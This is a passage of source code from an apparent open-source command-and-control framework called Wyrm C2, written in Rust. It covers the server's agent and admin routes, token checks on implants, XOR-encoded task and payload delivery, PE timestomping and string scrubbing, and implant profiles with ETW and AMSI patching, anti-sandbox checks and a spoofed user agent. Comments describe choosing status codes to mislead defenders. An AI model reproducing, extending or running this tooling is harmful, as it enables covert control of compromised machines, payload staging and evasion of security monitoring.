)); serve( listener, app.into_make_service_with_connect_info::(), ) .await?; print_info("Server closed."); Ok(()) } fn construct_listener_addr() -> String { let port = std::env::var("C2_PORT").expect("could not find C2_PORT environment variable"); let port: u16 = port .parse() .expect("could not parse port number to valid range"); let c2_host = std::env::var("C2_HOST").expect("could not find C2_HOST environment variable"); format!("{c2_host}:{port}") } async fn init_server_state() -> Arc { print_info("Starting Wyrm C2."); let profile = match parse_profile().await { Ok(p) => p, Err(e) => { panic!("Could not parse profiles. {e}"); } }; print_success("Profiles parsed."); ensure_dirs_and_files(); let pool = Db::new().await; let state = Arc::new(AppState::from(pool, profile).await); // // Kick off automations that run on the server // state.track_sessions(); let state_cl = state.clone(); tokio::task::spawn(async move { detect_stale_agents(state_cl).await }); state } fn build_routes(state: Arc) -> Router { Router::new() // // // PUBLIC ROUTES // // .route( "/", get(handle_agent_get).layer(from_fn_with_state( state.clone(), authenticate_agent_by_header_token, )), ) .route( "/", post(agent_post_handler).layer(from_fn_with_state( state.clone(), authenticate_agent_by_header_token, )), ) // Used for the operator staging payloads or check-ins not to / .route( "/{*endpoint}", get(handle_agent_get_with_path).layer(from_fn_with_state( state.clone(), authenticate_agent_by_header_token, )), ) .route( "/{*endpoint}", post(agent_post_handler_with_path).layer(from_fn_with_state( state.clone(), authenticate_agent_by_header_token, )), ) // // // ADMIN ROUTES // // .route( "/logout_admin", post(logout).layer(from_fn_with_state(state.clone(), logout_middleware)), ) // Uploading a file via the GUI .route( "/admin_upload", post(admin_upload).layer(from_fn_with_state(state.clone(), authenticate_admin)), ) // Build all binaries path .route( "/admin_bab", post(build_all_binaries_handler) .layer(from_fn_with_state(state.clone(), authenticate_admin)), ) .route(&format!("/{ADMIN_LOGIN_ENDPOINT}"), post(admin_login)) // Admin endpoint when operating a command which is not related to a specific agent .route( &format!("/{ADMIN_ENDPOINT}"), post(handle_admin_commands_without_agent) .layer(from_fn_with_state(state.clone(), authenticate_admin)), ) // Against a specific agent .route( &format!("/{ADMIN_ENDPOINT}/{}", "{id}"), post(handle_admin_commands_on_agent) .layer(from_fn_with_state(state.clone(), authenticate_admin)), ) // For checking if notifications exist for a given agent .route( &format!("/{NOTIFICATION_CHECK_AGENT_ENDPOINT}/{}", "{id}"), get(poll_agent_notifications) .layer(from_fn_with_state(state.clone(), authenticate_admin)), ) // A route for admin poll to check if logged in on the GUI .route( ADMIN_HEALTH_CHECK_ENDPOINT, get(is_adm_logged_in).layer(from_fn_with_state(state.clone(), authenticate_admin)), ) // // 1 GB for POST max ? // .layer(DefaultBodyLimit::max(MAX_POST_BODY_SZ)) .with_state(state.clone()) } fn ensure_dirs_and_files() { create_dir!(FILE_STORE_PATH); create_dir!(DB_EXPORT_PATH); create_dir!(EXFIL_PATH); create_dir!(LOG_PATH); ensure_log_file_on_disk!(ACCESS_LOG); ensure_log_file_on_disk!(DOWNLOAD); ensure_log_file_on_disk!(LOGIN_LOG); ensure_log_file_on_disk!(ERROR_LOG); print_success("Directories and files are in order.."); } fn handle_panic(err: Box) -> Response> { let details = if let Some(s) = err.downcast_ref::() { s.clone() } else if let Some(s) = err.downcast_ref::<&str>() { s.to_string() } else { "Unknown panic message".to_string() }; log_error(&format!("PANIC: `{}`", details)); let body = serde_json::json!(""); let body = serde_json::to_string(&body).unwrap(); Response::builder() .status(StatusCode::INTERNAL_SERVER_ERROR) .header(header::CONTENT_TYPE, "application/json") .body(Full::from(body)) .unwrap() } ================================================ FILE: c2/src/middleware.rs ================================================ use std::{net::SocketAddr, sync::Arc, time::Instant}; use axum::{ extract::{ConnectInfo, Request, State}, http::{HeaderMap, StatusCode}, middleware::Next, response::IntoResponse, }; use axum_extra::extract::CookieJar; use base64::{Engine, engine::general_purpose}; use crypto::bcrypt::bcrypt; use rand::{RngCore, rng}; use crate::{ AUTH_COOKIE_NAME, app_state::AppState, logging::{log_download_accessed, log_error_async, log_page_accessed_no_auth}, }; const BCRYPT_HASH_BYTES: usize = 24; const BCRYPT_COST: u32 = 12; const SALT_BYTES: usize = 16; const LOCK_WAIT_WARN_MS: u128 = 500; /// Authenticates access to an admin route via the `Authorization` header present with the request. This includes /// encoded username/password which will be validated. /// /// In the event there is no user in the db, a new one will be created. We make this secure by requiring a third /// parameter sent in the headers which is a unique token set in the `.env` of the server to ensure we cannot be /// vulnerable to remote takeover. pub async fn authenticate_admin( jar: CookieJar, State(state): State>, addr: ConnectInfo, request: Request, next: Next, ) -> impl IntoResponse { if let Some(session) = jar.get(AUTH_COOKIE_NAME) { let session = session.to_string(); // // Determine whether the presented session key is present in the active keys // if state.has_session(&session).await { return next.run(request).await.into_response(); } else { return StatusCode::NOT_FOUND.into_response(); } } return StatusCode::NOT_FOUND.into_response(); } /// Verify the password passed into the admin route by comparing its calculated hash with the /// expected hash from the db. pub async fn verify_password(password: &str, password_hash: &str, salt: &str) -> bool { let salt = general_purpose::STANDARD .decode(salt) .expect("invalid base64"); let expected_hash = general_purpose::STANDARD .decode(password_hash) .expect("invalid b64 on password"); let password = password.to_string(); // Validate with bcrypt on same salt let computed_hash: Vec = tokio::task::spawn_blocking(move || { let mut h = [0u8; BCRYPT_HASH_BYTES]; bcrypt(BCRYPT_COST, &salt, password.as_bytes(), &mut h); h.to_vec() }) .await .expect("bcrypt task panicked"); computed_hash == expected_hash } /// Create a new operator in the database, taking in a plaintext password and hashing it with BCrypt /// and a random salt. /// /// The hashed password will be stored in the database, **not** the plaintext version. pub async fn create_new_operator(username: &str, password: &str, state: Arc) { let mut salt = [0u8; SALT_BYTES]; rng().fill_bytes(&mut salt); let salt_clone = salt.to_vec(); let password = password.to_string(); let computed_hash = tokio::task::spawn_blocking(move || { let mut hash_output = [0u8; BCRYPT_HASH_BYTES]; bcrypt( BCRYPT_COST, &salt_clone, password.as_bytes(), &mut hash_output, ); hash_output.to_vec() }) .await .expect("Could not compute hash in create_new_operator"); let salt_b64 = general_purpose::STANDARD.encode(salt); let hash_b64 = general_purpose::STANDARD.encode(&computed_hash); state .db_pool .add_operator(username, &hash_b64, &salt_b64) .await .unwrap(); } /// Authenticates an agent based on a header: `Authorization`. The agent will carry a security token which /// was set by the operator so that we can verify the inbound connection DOES in fact relate to an agent under /// our control. /// /// This will reduce the attack surface of API's close to the database, and reduce the likelihood of a DDOS due to /// batting the request off before we actually deal with it past middleware. /// /// If the checks fail, a BAD_GATEWAY status will be returned, which may be a little more OPSEC savvy in that it may /// throw off analysis thinking the server is down, whereas a 404 may indicate the server is active. pub async fn authenticate_agent_by_header_token( State(state): State>, addr: ConnectInfo, headers: HeaderMap, request: Request, next: Next, ) -> impl IntoResponse { let ip = if let Some(h) = headers.get("X-Forwarded-For") { h.to_str().unwrap_or("Not Found") } else { "Not found" }; // // First, we need to check whether the request is going to a URI in which a download is staged // as we do not want to gate keep that as requiring the Auth header. // let uri = request.uri().to_string(); let uri = &uri[1..]; let endpoints_lock_start = Instant::now(); let is_download = { let lock = state.endpoints.read().await; lock.download_endpoints.contains_key(uri) }; let endpoints_lock_wait_ms = endpoints_lock_start.elapsed().as_millis(); if endpoints_lock_wait_ms > LOCK_WAIT_WARN_MS { log_error_async(&format!( "Slow endpoints read lock: {endpoints_lock_wait_ms}ms for uri {uri} from {ip}" )) .await; } if is_download { log_download_accessed(uri, ip).await; return next.run(request).await.into_response(); } // // That URI wasn't requested, therefore we want to apply our auth check. // let h = match request.headers().get("authorization") { Some(h) => h, None => { log_page_accessed_no_auth(uri, ip).await; return StatusCode::BAD_GATEWAY.into_response(); } }; let auth_header = match h.to_str() { Ok(head) => head, Err(_) => { log_page_accessed_no_auth(uri, ip).await; return StatusCode::BAD_GATEWAY.into_response(); } }; let tokens_lock_start = Instant::now(); let has_token = { let lock = state.agent_tokens.read().await; lock.contains(auth_header) }; let tokens_lock_wait_ms = tokens_lock_start.elapsed().as_millis(); if tokens_lock_wait_ms > LOCK_WAIT_WARN_MS { log_error_async(&format!( "Slow agent_tokens read lock: {tokens_lock_wait_ms}ms for uri {uri} from {ip}" )) .await; } if has_token { // The happy path, token present // log_page_accessed_auth(uri, ip).await; return next.run(request).await.into_response(); } // The unhappy path log_page_accessed_no_auth(uri, ip).await; StatusCode::BAD_GATEWAY.into_response() } pub async fn logout_middleware( jar: CookieJar, State(state): State>, request: Request, next: Next, ) -> impl IntoResponse { if let Some(session) = jar.get(AUTH_COOKIE_NAME) { let session = session.to_string(); state.remove_session(&session).await; return next.run(request).await.into_response(); } return StatusCode::NOT_FOUND.into_response(); } ================================================ FILE: c2/src/net.rs ================================================ //! Module relating to functionality over the wire, such as transformation of data in transit use axum::{ body::Body, http::{ HeaderValue, StatusCode, header::{CONTENT_DISPOSITION, CONTENT_TYPE}, }, response::{IntoResponse, Response}, }; use futures::StreamExt; use shared::{ net::{TasksNetworkStream, XorEncode, encode_u16buf_to_u8buf}, tasks::{Command, Task}, }; use std::path::PathBuf; use tokio_util::io::ReaderStream; use crate::{FILE_STORE_PATH, logging::log_error_async}; /// Serialises pending tasks to be sent over the wire to be consumed by the agent. /// /// # Returns /// If the input task is `None`, the function will serialise a Sleep command in the correct /// format for the agent. Otherwise, it will serialise every task into a valid serde json /// byte vector, and return that. pub async fn serialise_tasks_for_agent(tasks: Option>) -> Vec { let mut responses: TasksNetworkStream = Vec::new(); let tasks: Vec = match tasks { Some(tasks) => tasks, None => { let raw = prepare_response_packet(Task { id: 0, command: Command::Sleep, metadata: None, completed_time: 0, }) .await .xor_network_stream(); responses.push(raw); return serde_json::to_vec(&responses).unwrap(); } }; for task in tasks { let raw = prepare_response_packet(task).await.xor_network_stream(); responses.push(raw) } serde_json::to_vec(&responses).unwrap() } async fn prepare_response_packet(task: Task) -> Vec { let mut packet = from_task_id_bytes(task.id); let (low, high) = task.command.to_u16_tuple_le(); packet.push(low); packet.push(high); // insert sizeof i64 of zeros for the completed time, packet is u16 len so we need 4 packet.push(0); packet.push(0); packet.push(0); packet.push(0); if task.metadata.is_none() { return encode_u16buf_to_u8buf(&packet); } // Now encode in the metadata let data = task.metadata.unwrap(); let mut data_bytes: Vec = data.encode_utf16().collect(); packet.append(&mut data_bytes); encode_u16buf_to_u8buf(&packet) } fn from_task_id_bytes(id: i32) -> Vec { let id_bytes = id.to_le_bytes(); let low = u16::from_le_bytes([id_bytes[0], id_bytes[1]]); let high = u16::from_le_bytes([id_bytes[2], id_bytes[3]]); vec![low, high] } /// Serves a file from the local disk by its file name. The server will look in the /// ../staged_files/ dir for the relevant file. pub async fn serve_file(filename: &String, xor_key: Option) -> Response { let mut path = PathBuf::from(FILE_STORE_PATH); path.push(filename); let file = match tokio::fs::File::open(path).await { Ok(f) => f, Err(e) => { log_error_async(&format!("Failed to read file. {e}")).await; return StatusCode::BAD_GATEWAY.into_response(); } }; let stream = ReaderStream::new(file); // Serve XOR'ed bytes if the file was staged as XOR payload let body = if let Some(key) = xor_key { let xor_stream = stream.map(move |chunk| { chunk.map(|bytes| { let mut data: Vec = bytes.to_vec(); for byte in data.iter_mut() { *byte ^= key; } axum::body::Bytes::from(data) }) }); Body::from_stream(xor_stream) } else { Body::from_stream(stream) }; Response::builder() .status(StatusCode::OK) .header( CONTENT_TYPE, HeaderValue::from_static("application/octet-stream"), ) .header( CONTENT_DISPOSITION, HeaderValue::from_str(&format!("inline; filename=\"{filename}\"")).unwrap(), ) .body(body) .unwrap() } ================================================ FILE: c2/src/pe_utils/mod.rs ================================================ use std::{io::SeekFrom, path::Path}; use chrono::NaiveDateTime; use thiserror::Error; use tokio::{ fs::{File, OpenOptions}, io::{AsyncReadExt, AsyncSeekExt, AsyncWriteExt}, }; use crate::{ logging::log_error_async, pe_utils::types::{IMAGE_DOS_HEADER, IMAGE_NT_HEADERS64}, }; mod types; #[derive(Error, Debug)] pub enum PeScrubError { #[error("unable to open file, {0}")] FileOpen(String), #[error("unable to read buffer from file object, {0}")] FileRead(String), #[error("did not match on magic bytes, got: {0}")] MagicBytesMZ(u16), #[error("could not read file content, but not a file read error..")] NoRead, #[error("datetime was not formatted correctly, must be british formatting - %d/%m/%Y %H:%M:%S")] DTMismatch, #[error("Circuit breaker hit in loop")] CircuitBreaker, #[error("the buffer was too small")] BuffTooSmall, #[error("could not write to file, {0}")] FileWriteError(String), } /// Timestomps the compiled time of a given PE. /// /// # Args /// - `dt_str`: The datetime in British format for the binary to have in its compiled time headers. /// - `build_path`: The path to the file to timestomp on disk. /// /// # Returns /// The function only returns meaningful data on error, being [`TimestompError`]. On success nothing is returned, /// the original file is modified in place. pub async fn timestomp_binary_compile_date( dt_str: &str, build_path: &Path, ) -> Result<(), PeScrubError> { let mut file = OpenOptions::new() .read(true) .write(true) .open(build_path) .await .map_err(|e| PeScrubError::FileOpen(e.to_string()))?; // // Read the first 2 kb of the binary into our buffer and grab the e_lfanew so we can offset to the // TimeDateStamp field // const INITIAL_LEN: usize = 2000; let mut buf = Vec::with_capacity(INITIAL_LEN); unsafe { buf.set_len(INITIAL_LEN) }; if let Err(e) = file.read_exact(&mut buf).await { return Err(PeScrubError::FileRead(e.to_string())); } let p_dos_header = buf.as_ptr() as *const IMAGE_DOS_HEADER; // SAFETY: We know this is not null let dos_header = unsafe { &*(p_dos_header) }; if dos_header.e_magic != 0x5a4d { return Err(PeScrubError::MagicBytesMZ(dos_header.e_magic)); } // check that we have the NT header in the buffer, if not, then just read the whole file, // but this should not happen if dos_header.e_lfanew as usize + size_of::() > buf.len() { return Err(PeScrubError::BuffTooSmall); } // // Create the datetime as epoch then write to the original file at the correct offset (e_lfanew + 8 bytes) // let timestamp = str_to_epoch(dt_str)?; const OFFSET_TIMESTAMP: u64 = 8; file.seek(SeekFrom::Start( dos_header.e_lfanew as u64 + OFFSET_TIMESTAMP, )) .await .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?; file.write_all(×tamp.to_le_bytes()) .await .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?; file.flush() .await .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?; Ok(()) } fn str_to_epoch(dt_str: &str) -> Result { let datetime = match NaiveDateTime::parse_from_str(dt_str, "%d/%m/%Y %H:%M:%S") { Ok(d) => d, Err(_) => return Err(PeScrubError::DTMismatch), }; Ok(datetime.and_utc().timestamp() as u32) } /// Scrubs all occurrences of `needle` from the file at `path`, overwriting it in place. /// /// If `replacement`` is: /// - `None`: the bytes are zeroed out. /// - `Some(r)`: the bytes are zeroed and then the first `r.len()` bytes are replaced with `r`. /// /// # Error /// Function returns a [`PeScrubError`] if an error occurs. pub async fn scrub_strings( build_path: &Path, needle: &[u8], replacement: Option<&[u8]>, ) -> Result<(), PeScrubError> { let mut file = OpenOptions::new() .read(true) .write(true) .open(build_path) .await .map_err(|e| PeScrubError::FileOpen(e.to_string()))?; let file_len = file.metadata().await.unwrap().len() as usize; let mut buf = Vec::with_capacity(file_len); unsafe { buf.set_len(file_len) }; if let Err(e) = file.read_exact(&mut buf).await { return Err(PeScrubError::FileRead(e.to_string())); } const CIRCUIT_BREAKER_MAX: u32 = 10000; let mut i = 0; while let Some(pos) = buf.windows(needle.len()).position(|w| w.eq(needle)) { let end = pos + needle.len(); if let Some(replacement) = replacement { if replacement.len() > needle.len() { let s = String::from_utf8_lossy(needle); log_error_async(&format!( "Could not scrub string {s}, replacement was longer than input." )) .await; continue; } buf[pos..end].fill(0); let end_replacement = pos + replacement.len(); buf[pos..end_replacement].copy_from_slice(replacement); } else { buf[pos..end].fill(0); } i += 1; if i >= CIRCUIT_BREAKER_MAX { // // We hit the circuit breaker for the loop - write what changes were made to the binary, // and return an error, discontinuing the loop. // return commit_files(&mut file, &mut buf).await; } } commit_files(&mut file, &mut buf).await } async fn commit_files(file: &mut File, buf: &mut Vec) -> Result<(), PeScrubError> { file.seek(SeekFrom::Start(0)) .await .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?; file.write_all(&buf) .await .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?; file.flush() .await .map_err(|e| PeScrubError::FileWriteError(e.to_string()))?; Ok(()) } ================================================ FILE: c2/src/pe_utils/types.rs ================================================ #[repr(C)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_FILE_HEADER { pub Machine: IMAGE_FILE_MACHINE, pub NumberOfSections: u16, pub TimeDateStamp: u32, pub PointerToSymbolTable: u32, pub NumberOfSymbols: u32, pub SizeOfOptionalHeader: u16, pub Characteristics: IMAGE_FILE_CHARACTERISTICS, } #[repr(transparent)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_FILE_MACHINE(pub u16); #[repr(transparent)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_FILE_CHARACTERISTICS(pub u16); #[repr(C)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_NT_HEADERS64 { pub Signature: u32, pub FileHeader: IMAGE_FILE_HEADER, pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, } #[repr(C, packed(2))] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_DOS_HEADER { pub e_magic: u16, pub e_cblp: u16, pub e_cp: u16, pub e_crlc: u16, pub e_cparhdr: u16, pub e_minalloc: u16, pub e_maxalloc: u16, pub e_ss: u16, pub e_sp: u16, pub e_csum: u16, pub e_ip: u16, pub e_cs: u16, pub e_lfarlc: u16, pub e_ovno: u16, pub e_res: [u16; 4], pub e_oemid: u16, pub e_oeminfo: u16, pub e_res2: [u16; 10], pub e_lfanew: i32, } #[repr(C, packed(4))] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_OPTIONAL_HEADER64 { pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC, pub MajorLinkerVersion: u8, pub MinorLinkerVersion: u8, pub SizeOfCode: u32, pub SizeOfInitializedData: u32, pub SizeOfUninitializedData: u32, pub AddressOfEntryPoint: u32, pub BaseOfCode: u32, pub ImageBase: u64, pub SectionAlignment: u32, pub FileAlignment: u32, pub MajorOperatingSystemVersion: u16, pub MinorOperatingSystemVersion: u16, pub MajorImageVersion: u16, pub MinorImageVersion: u16, pub MajorSubsystemVersion: u16, pub MinorSubsystemVersion: u16, pub Win32VersionValue: u32, pub SizeOfImage: u32, pub SizeOfHeaders: u32, pub CheckSum: u32, pub Subsystem: IMAGE_SUBSYSTEM, pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS, pub SizeOfStackReserve: u64, pub SizeOfStackCommit: u64, pub SizeOfHeapReserve: u64, pub SizeOfHeapCommit: u64, pub LoaderFlags: u32, pub NumberOfRvaAndSizes: u32, pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], } #[repr(transparent)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_OPTIONAL_HEADER_MAGIC(pub u16); #[repr(transparent)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_DLL_CHARACTERISTICS(pub u16); #[repr(transparent)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_SUBSYSTEM(pub u16); #[repr(C)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_DATA_DIRECTORY { pub VirtualAddress: u32, pub Size: u32, } #[repr(C)] #[allow(non_snake_case, non_camel_case_types)] pub struct IMAGE_EXPORT_DIRECTORY { pub Characteristics: u32, pub TimeDateStamp: u32, pub MajorVersion: u16, pub MinorVersion: u16, pub Name: u32, pub Base: u32, pub NumberOfFunctions: u32, pub NumberOfNames: u32, pub AddressOfFunctions: u32, pub AddressOfNames: u32, pub AddressOfNameOrdinals: u32, } ================================================ FILE: c2/src/profiles.rs ================================================ use std::{ collections::{BTreeMap, HashSet}, path::{Path, PathBuf}, }; use serde::Deserialize; use shared::tasks::{Exports, NewAgentStaging, StageType, StringStomp, WyrmResult}; use tokio::io; use crate::{WOFS_PATH, logging::log_error}; #[derive(Deserialize, Debug, Default, Clone)] pub struct Profile { pub server: Server, pub implants: BTreeMap, } #[derive(Deserialize, Debug, Default, Clone)] pub struct Server { pub token: String, } #[derive(Deserialize, Debug, Default, Clone)] pub struct Network { pub address: String, pub uri: Vec, pub port: u16, pub token: Option, pub sleep: Option, pub useragent: Option, pub jitter: Option, } #[derive(Deserialize, Debug, Default, Clone)] pub struct Implant { pub anti_sandbox: Option, pub debug: Option, svc_name: String, pub network: Network, pub evasion: Evasion, pub exports: Exports, pub string_stomp: Option, pub mutex: Option, pub wofs: Option>, } #[derive(Deserialize, Debug, Default, Clone)] pub struct AntiSandbox { pub trig: Option, pub ram: Option, } #[derive(Deserialize, Debug, Default, Clone)] pub struct Evasion { pub patch_etw: Option, pub patch_amsi: Option, pub timestomp: Option, pub spawn_as: Option, } impl Profile { /// Constructs a [`shared::tasks::NewAgentStaging`] from the profile. /// /// # Args /// - `listener_profile_name`: The name in the profile for which listener is selected /// - `implant_profile_name`: The name in the profile for which implant profile is selected /// - `stage_type`: The [`shared::tasks::StageType`] of binary to build pub fn as_staged_agent( &self, implant_profile_name: &str, stage_type: StageType, ) -> WyrmResult { // // Essentially here we are going to validate the input; and reconstruct the data assuming it is correct. // In the event of an error, we want to return a WyrmResult::Err to indicate there was some form of failure. // let implant = match self.implants.get(implant_profile_name) { Some(i) => i, None => { return WyrmResult::Err(format!( "Could not find implant profile {implant_profile_name}" )); } }; let build_debug = implant.debug.unwrap_or_default(); let patch_etw = implant.evasion.patch_etw.unwrap_or_default(); let patch_amsi = implant.evasion.patch_amsi.unwrap_or_default(); // Unwrap a sleep time from either profile specific, a higher order key, or if none found, use // a default of 1 hr (3600 seconds). let sleep_time = match implant.network.sleep { Some(s) => s, None => 3600, }; // Try cast to i64 from u64, checking the number stays the same let default_sleep_time = sleep_time as i64; if default_sleep_time as u64 != sleep_time { return WyrmResult::Err(format!( "Integer overflow occurred when casting from u64 to i64. Cannot proceed. \ got value {sleep_time}" )); } let pe_name = format!("{}", implant_profile_name); let antisandbox_trig = if let Some(anti) = &implant.anti_sandbox { anti.trig.unwrap_or_default() } else { false }; let antisandbox_ram = if let Some(anti) = &implant.anti_sandbox { anti.ram.unwrap_or_default() } else { false }; let agent_security_token = if let Some(token) = &implant.network.token { token.clone() } else { self.server.token.clone() }; let useragent = if let Some(ua) = &implant.network.useragent { ua.clone() } else { "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36".into() }; // Validate we have at least 1 URI endpoint before insertion, otherwise error if implant.network.uri.is_empty() { return WyrmResult::Err(String::from("At least 1 URI is required for the server.")); } if let Some(w) = &implant.wofs { if let Err(e) = validate_wof_dirs(w) { return WyrmResult::Err(e); } } let string_stomp = StringStomp::from(&implant.string_stomp); WyrmResult::Ok(NewAgentStaging { // TODO not required implant_name: String::new(), default_sleep_time, c2_address: implant.network.address.clone(), c2_endpoints: implant.network.uri.clone(), // TODO not required staging_endpoint: String::new(), pe_name, port: implant.network.port, agent_security_token, antisandbox_trig, antisandbox_ram, stage_type, build_debug, useragent, patch_etw, patch_amsi, jitter: implant.network.jitter, timestomp: implant.evasion.timestomp.clone(), exports: implant.exports.clone(), default_spawn_as: implant.evasion.spawn_as.clone(), svc_name: implant.svc_name.clone(), string_stomp, mutex: implant.mutex.clone(), wofs: implant.wofs.clone(), }) } } /// Parse profiles from within the /profiles/* directory relative to the c2 /// crate to load configurable user profiles at runtime. pub async fn parse_profile() -> io::Result { let path = Path::new("./profiles"); let mut profile_paths: Vec = Vec::new(); if path.is_dir() { let mut read_dir = tokio::fs::read_dir(&path).await?; while let Some(entry) = read_dir.next_entry().await? { if entry.file_type().await.is_ok_and(|f| f.is_file()) { if entry .file_name() .to_str() .is_some_and(|f| f.ends_with(".toml")) { if let Ok(filename) = entry.file_name().into_string() { profile_paths.push(filename); }; } } } } else { return Err(io::Error::other("Could not open dir profiles.")); } // // We now only support 1 profile toml in the profile directory. If more than one is detected, // then return an error, logging the error internally. // if profile_paths.len() != 1 { let msg = "You must have only have one `profile.toml` in /c2/profiles. Please consolidate \ into one profile. You may specify multiple implant configurations to build, but you must \ have one, and only one, `profile.toml`."; return Err(io::Error::other(msg)); } // // Now we have the profile - parse it and return it out // let p_path = std::mem::take(&mut profile_paths[0]); let temp_path = path.join(&p_path); let profile = match read_profile(&temp_path).await { Ok(p) => p, Err(e) => { let msg = format!("Could not parse profile. {e:?}"); return Err(io::Error::other(msg)); } }; Ok(profile) } pub fn add_listeners_from_profiles(existing: &mut HashSet, p: &Profile) { for (_, implant) in p.implants.iter() { for uri in &implant.network.uri { // Strip out the leading / if uri.starts_with('/') { let mut tmp = uri.clone(); tmp.remove(0); existing.insert(tmp); } else { existing.insert(uri.clone()); } } } } pub fn add_tokens_from_profiles(existing: &mut HashSet, p: &Profile) { // Add the default required token in the [server] attribute existing.insert(p.server.token.clone()); for i in p.implants.values() { if let Some(tok) = &i.network.token { existing.insert(tok.clone()); } } } async fn read_profile(path: &Path) -> io::Result { let file_content = match tokio::fs::read(&path).await { Ok(f) => f, Err(e) => { return Err(e); } }; if file_content.is_empty() { return Err(io::Error::other("File content was empty.")); } let profile = match toml::from_slice::(&file_content) { Ok(p) => p, Err(e) => { return Err(io::Error::other(format!( "Could not deserialise data for profile: {path:?}. {e:?}" ))); } }; Ok(profile) } #[derive(Debug)] pub struct ParsedExportStrings { pub export_only_jmp_wyrm: String, pub export_machine_code: String, pub export_proxy: String, } impl ParsedExportStrings { fn empty() -> Self { Self { export_only_jmp_wyrm: String::new(), export_machine_code: String::new(), export_proxy: String::new(), } } fn from(plain_only: String, machine_code: String, export_proxy: String) -> Self { Self { export_only_jmp_wyrm: plain_only, export_machine_code: machine_code, export_proxy, } } } /// Parses a Vec of [`shared::tasks::Export`] correctly formatted to be directly inserted into the /// cargo build process for an implant. If the input is `None`, it will return an empty string. pub fn parse_exports_to_string_for_env(exports: &Exports) -> ParsedExportStrings { let exports = match exports { Some(e) => e, None => return ParsedExportStrings::empty(), }; let mut builder_with_machine_code = String::new(); let mut builder_plain = String::new(); let mut builder_proxy = String::new(); for e in exports { if e.0 == "Start" { log_error("You cannot define an export called Start, this is being skipped."); continue; } if let Some(machine_code) = &e.1.machine_code { // If we have machine code present builder_with_machine_code.push_str(format!("{}=", e.0).as_str()); for m in machine_code { builder_with_machine_code.push_str(format!("0x{:X},", m).as_str()); } // remove the trailing ',' builder_with_machine_code.remove(builder_with_machine_code.len() - 1); builder_with_machine_code.push_str(";"); } else if let Some(proxy_data) = &e.1.proxy { for (func, dll) in proxy_data { builder_proxy.push_str(&format!("{}={}.{};", func, dll, func)); } } else { builder_plain.push_str(format!("{};", e.0,).as_str()); } } ParsedExportStrings::from(builder_plain, builder_with_machine_code, builder_proxy) } fn validate_wof_dirs(wofs: &Vec) -> Result<(), String> { for w in wofs { let mut p = PathBuf::from(WOFS_PATH); p.push(w); if !p.exists() || !p.is_dir() { return Err(format!("{} is not found as a wof.", p.display())); } } Ok(()) } ================================================ FILE: client/Caddyfile ================================================ :3000 { root * /usr/share/caddy file_server try_files {path} /index.html } ================================================ FILE: client/Cargo.toml ================================================ [package] name = "client" version = "0.1.0" edition = "2024" [dependencies] shared = { path = "../shared" } leptos = { version = "0.8.12", features = ["csr"] } console_log = "1.0" log = "0.4.22" console_error_panic_hook = "0.1.7" leptos_meta = "0.8.5" leptos_router = "0.8.9" gloo-net = "0.6" serde = { version = "1.0.228", features = ["derive"] } serde_json = "1.0.145" thiserror = "2.0.17" reactive_stores = "0.3.0" web-sys = { version = "0.3.82", features = [ "BlobPropertyBag", "HtmlAnchorElement", ]} leptos-use = { version = "0.16.3", features = ["storage"] } gloo-timers = "0.3.0" chrono = "0.4.42" anyhow = "1.0.100" ================================================ FILE: client/Dockerfile ================================================ FROM lukemathwalker/cargo-chef:latest-rust-1.90-bookworm AS chef FROM chef AS planner COPY Cargo.toml ./ COPY c2 /c2 COPY client /client COPY shared /shared COPY loader /loader COPY shared_no_std /shared_no_std COPY shared_c2_client /shared_c2_client COPY implant /implant RUN cargo chef prepare --recipe-path recipe.json FROM chef AS builder WORKDIR /client COPY --from=planner /recipe.json ./recipe.json RUN cargo chef cook --release --recipe-path recipe.json COPY client/ . COPY ../shared /shared COPY ../shared_c2_client /shared_c2_client RUN cargo install trunk wasm-bindgen-cli RUN rustup target add wasm32-unknown-unknown RUN trunk build --release FROM caddy:alpine AS runtime WORKDIR /usr/share/caddy COPY --from=builder /client/dist . COPY client/Caddyfile /etc/caddy/Caddyfile EXPOSE 3000 CMD ["caddy", "run", "--config", "/etc/caddy/Caddyfile"] ================================================ FILE: client/index.html ================================================ ================================================ FILE: client/src/controller/build_profiles.rs ================================================ use leptos::wasm_bindgen::JsCast; use web_sys::{ Blob, BlobPropertyBag, Url, js_sys::{self, Uint8Array}, window, }; /// Initiates a client side file download in the browser by creating a temporary blob URL. /// /// # Arguments /// /// * `filename` - The name that will be suggested for the downloaded file /// * `bytes` - The raw byte content to be downloaded pub fn trigger_download(filename: &str, bytes: &[u8]) { let window = window().expect("no global `window` exists"); let document = window.document().expect("should have a document"); let body = document.body().expect("document should have a body"); let uint8_array = Uint8Array::from(bytes); let parts = js_sys::Array::new(); parts.push(&uint8_array.buffer()); let props = BlobPropertyBag::new(); props.set_type("application/x-7z-compressed"); let blob = Blob::new_with_u8_array_sequence_and_options(&parts, &props) .expect("failed to create Blob"); let url = Url::create_object_url_with_blob(&blob).expect("failed to create Object URL"); let a = document .create_element("a") .expect("create_element failed") .dyn_into::() .expect("element should be an HtmlAnchorElement"); a.set_href(&url); a.set_download(filename); body.append_child(&a).expect("append_child failed"); a.click(); body.remove_child(&a).expect("remove_child failed"); Url::revoke_object_url(&url).expect("revoke_object_url failed"); } ================================================ FILE: client/src/controller/dashboard.rs ================================================ use std::{ collections::{HashMap, HashSet}, str::FromStr, }; use chrono::DateTime; use leptos::prelude::*; use 